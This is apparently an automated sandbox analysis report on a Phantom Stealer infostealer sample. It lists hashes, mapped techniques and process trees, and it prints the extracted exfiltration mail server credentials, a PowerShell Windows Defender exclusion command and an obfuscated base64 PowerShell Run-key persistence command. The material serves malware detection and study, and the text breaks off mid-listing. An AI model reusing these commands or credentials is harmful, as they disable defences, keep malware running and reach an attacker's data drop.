phantom_stealer | fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9

Analysis

max time kernel
149s
max time network
125s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
10/09/2026, 11:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
Size 1.6MB
Sample260910-m78wbssbqa
SHA256 fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9
MD5 59f94c914a02913c034de99447c86b52
SHA1 9cee61773e655e93cd4d0082f5007fa6b2e8f63e
SHA512 3ae6989b056cdb6d3e77c688e39b9c14d4e58f53faec17d85c4f7b4ed61f31774d4aad19bb06f063cebff6538bb87345721338a3d28886b92ae2f740316d2a8d
SSDEEP 49152:6b/2oSV+dICgRRHoCS3D9ipGaR5CiuUtOtZzMG:6buoKCgPBg5ipGaXC7Zz
TLSH
T1E575125822A5EE02D2E26BF41C20F3B857B91E497922E3078EF5ADDFB5396443D452C3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection discovery execution phantom_stealer persistence spyware stealer

Malware Config

Extracted

Family

phantom_stealer

Version

v3.5.0

Credentials

Protocol
smtp
Host
mail.theearlybrain.com
Port
587
Username
[email protected]
Password
Hope0515!
Email to
[email protected]

Mutex

TK6NES94M2K4E2AW4TVH

Attributes

anti_analysis
0
cb_enables_ssl
1
debug
0
keylogger
0
start_delay
0
startup
1

Signatures

Family: PhantomStealer
Phantom Stealer is a stealer written in C#, forked from the Stealerium family.
stealer phantom_stealer

Detects PhantomStealer written in C# 1 IoCs

resource	yara_rule
behavioral1/memory/4296-15-0x0000000000400000-0x00000000004BE000-memory.dmp	family_phantomstealer

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4780	powershell.exe
4764	powershell.exe
6604	powershell.exe
1960	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
Key value queried	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation	Fx.exe
Key value queried	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe

Executes dropped EXE 4 IoCs

pid	Process
3916	Fx.exe
4452	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
5268	Fx.exe
6648	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
Key opened	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
Key opened	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Fx = "\"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command \"$yid1r4=Get-Date;$rhdcah=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$j1ccvj=$env:COMPUTERNAME;$shsehx=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXEZ4LmV4ZQ==')));$ecppze=6621;& $rhdcah -FilePath $shsehx\""	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9 = "C:\\Users\\Admin\\AppData\\Roaming\\fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe"	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
168	icanhazip.com

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1760 set thread context of 4296	1760	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	97
PID 3916 set thread context of 5268	3916	Fx.exe	169
PID 4452 set thread context of 6648	4452	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	173

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Fx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1392	chrome.exe
4188	msedge.exe

Checks processor information in registry 2 TTPs 10 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-204488895-2999877624-296153668-1000\{D37BB021-6A37-4EA7-B929-A7FF6390F89D}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe

Suspicious behavior: EnumeratesProcesses 55 IoCs

pid	Process
1760	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
1760	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4780	powershell.exe
4780	powershell.exe
1960	powershell.exe
1960	powershell.exe
4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
1440	chrome.exe
1440	chrome.exe
4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
5392	firefox.exe
5392	firefox.exe
5392	firefox.exe
5392	firefox.exe
5392	firefox.exe
5392	firefox.exe
5392	firefox.exe
5392	firefox.exe
5392	firefox.exe
5392	firefox.exe
5392	firefox.exe
5392	firefox.exe
5392	firefox.exe
5392	firefox.exe
4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
3916	Fx.exe
3916	Fx.exe
3916	Fx.exe
4764	powershell.exe
4764	powershell.exe
4764	powershell.exe
4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4452	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4452	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
4452	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
6604	powershell.exe
6604	powershell.exe
6604	powershell.exe
4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	1760	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
Token: SeDebugPrivilege	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
Token: SeDebugPrivilege	4780	powershell.exe
Token: SeDebugPrivilege	1960	powershell.exe
Token: SeShutdownPrivilege	1440	chrome.exe
Token: SeCreatePagefilePrivilege	1440	chrome.exe
Token: SeShutdownPrivilege	1440	chrome.exe
Token: SeCreatePagefilePrivilege	1440	chrome.exe
Token: SeShutdownPrivilege	1440	chrome.exe
Token: SeCreatePagefilePrivilege	1440	chrome.exe
Token: SeShutdownPrivilege	1440	chrome.exe
Token: SeCreatePagefilePrivilege	1440	chrome.exe
Token: SeDebugPrivilege	3916	Fx.exe
Token: SeDebugPrivilege	5268	Fx.exe
Token: SeDebugPrivilege	4764	powershell.exe
Token: SeDebugPrivilege	4452	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
Token: SeDebugPrivilege	6648	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
Token: SeDebugPrivilege	6604	powershell.exe

Suspicious use of FindShellTrayWindow 7 IoCs

pid	Process
1440	chrome.exe
1440	chrome.exe
5392	firefox.exe
5392	firefox.exe
5392	firefox.exe
5392	firefox.exe
1404	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5392	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1760 wrote to memory of 4780	1760	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	95
PID 1760 wrote to memory of 4296	1760	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	97
PID 1760 wrote to memory of 4296	1760	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	97
PID 1760 wrote to memory of 4296	1760	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	97
PID 1760 wrote to memory of 4296	1760	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	97
PID 1760 wrote to memory of 4296	1760	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	97
PID 1960 wrote to memory of 3916	1960	powershell.exe	100
PID 4296 wrote to memory of 1440	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	103
PID 1440 wrote to memory of 3192	1440	chrome.exe	104
PID 4296 wrote to memory of 1440	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	103
PID 4296 wrote to memory of 1440	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	103
PID 4296 wrote to memory of 3192	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	104
PID 4296 wrote to memory of 3192	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	104
PID 1440 wrote to memory of 2168	1440	chrome.exe	105
PID 1440 wrote to memory of 1392	1440	chrome.exe	106
PID 1440 wrote to memory of 2216	1440	chrome.exe	107
PID 1440 wrote to memory of 3156	1440	chrome.exe	108
PID 1440 wrote to memory of 2364	1440	chrome.exe	109
PID 1440 wrote to memory of 5064	1440	chrome.exe	110
PID 1440 wrote to memory of 4848	1440	chrome.exe	111
PID 1440 wrote to memory of 4312	1440	chrome.exe	112
PID 1440 wrote to memory of 1580	1440	chrome.exe	113
PID 4296 wrote to memory of 1440	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	103
PID 1440 wrote to memory of 3764	1440	chrome.exe	115
PID 4296 wrote to memory of 1440	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	103
PID 4296 wrote to memory of 3192	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	104
PID 4296 wrote to memory of 3192	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	104
PID 4296 wrote to memory of 4312	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	112
PID 4296 wrote to memory of 2364	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	109
PID 4296 wrote to memory of 2364	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	109
PID 4296 wrote to memory of 4848	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	111
PID 4296 wrote to memory of 4848	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	111
PID 4296 wrote to memory of 1440	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	103
PID 4296 wrote to memory of 1440	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	103
PID 4296 wrote to memory of 1392	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	106
PID 4296 wrote to memory of 1392	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	106
PID 4296 wrote to memory of 2216	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	107
PID 4296 wrote to memory of 2216	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	107
PID 4296 wrote to memory of 5064	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	110
PID 4296 wrote to memory of 5064	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	110
PID 4296 wrote to memory of 1580	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	113
PID 4296 wrote to memory of 3192	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	104
PID 4296 wrote to memory of 3192	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	104
PID 4296 wrote to memory of 2168	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	105
PID 4296 wrote to memory of 2168	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	105
PID 4296 wrote to memory of 3764	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	115
PID 4296 wrote to memory of 3764	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	115
PID 4296 wrote to memory of 4312	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	112
PID 4296 wrote to memory of 4312	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	112
PID 4296 wrote to memory of 2364	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	109
PID 4296 wrote to memory of 2364	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	109
PID 4296 wrote to memory of 4848	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	111
PID 4296 wrote to memory of 4848	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	111
PID 4296 wrote to memory of 1440	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	103
PID 4296 wrote to memory of 1440	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	103
PID 4296 wrote to memory of 1392	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	106
PID 4296 wrote to memory of 1392	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	106
PID 4296 wrote to memory of 2216	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	107
PID 4296 wrote to memory of 2216	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	107
PID 4296 wrote to memory of 5064	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	110
PID 4296 wrote to memory of 5064	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	110
PID 4296 wrote to memory of 1580	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	113
PID 4296 wrote to memory of 1580	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	113
PID 4296 wrote to memory of 3192	4296	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe	104

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe

C:\Users\Admin\AppData\Local\Temp\fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
"C:\Users\Admin\AppData\Local\Temp\fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe"
1⤵
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1760
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4780
- C:\Users\Admin\AppData\Local\Temp\fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe
  "C:\Users\Admin\AppData\Local\Temp\fa8b746a80361406905c76ea9dac1ccc3921049705faa6f396c184decc2d51b9.exe"
  2⤵
  - Accesses Microsoft Outlook profiles
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - outlook_office_path
  - outlook_win_path
  PID:4296
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ehomnojd.5ke"
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:1440
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\ehomnojd.5ke /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\ehomnojd.5ke\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\ehomnojd.5ke --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7fff7063c728,0x7fff7063c734,0x7fff7063c740
      4⤵
      PID:3192
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ehomnojd.5ke" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1900,i,3990622208866630239,11933523461386948412,262144 --field-trial-handle=2180,i,15717640455474216982,1506438190600360851,262144 --variations-seed-version --mojo-platform-channel-handle=2176 /prefetch:2
      4⤵
      PID:2168
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ehomnojd.5ke" --force-high-res-timeticks=disabled --metrics-shmem-handle=2232,i,17430372155016720462,1646887267180573848,524288 --field-trial-handle=2180,i,15717640455474216982,1506438190600360851,262144 --variations-seed-version --mojo-platform-channel-handle=2240 /prefetch:3
      4⤵
      System Time Discovery
      PID:1392
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ehomnojd.5ke" --force-high-res-timeticks=disabled --metrics-shmem-handle=2372,i,11795329939085885914,15123583163898446866,524288 --field-trial-handle=2180,i,15717640455474216982,1506438190600360851,262144 --variations-seed-version --mojo-platform-channel-handle=2520 /prefetch:8
      4⤵
      PID:2216
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ehomnojd.5ke" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3124,i,14951367104023210513,12709786181470641373,2097152 --field-trial-handle=2180,i,15717640455474216982,1506438190600360851,262144 --variations-seed-version --mojo-platform-channel-handle=3144 /prefetch:1
      4⤵
      PID:3156
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ehomnojd.5ke" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3140,i,5305861671530836475,4530431624134054129,2097152 --field-trial-handle=2180,i,15717640455474216982,1506438190600360851,262144 --variations-seed-version --mojo-platform-channel-handle=3176 /prefetch:1
      4⤵
      PID:2364
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
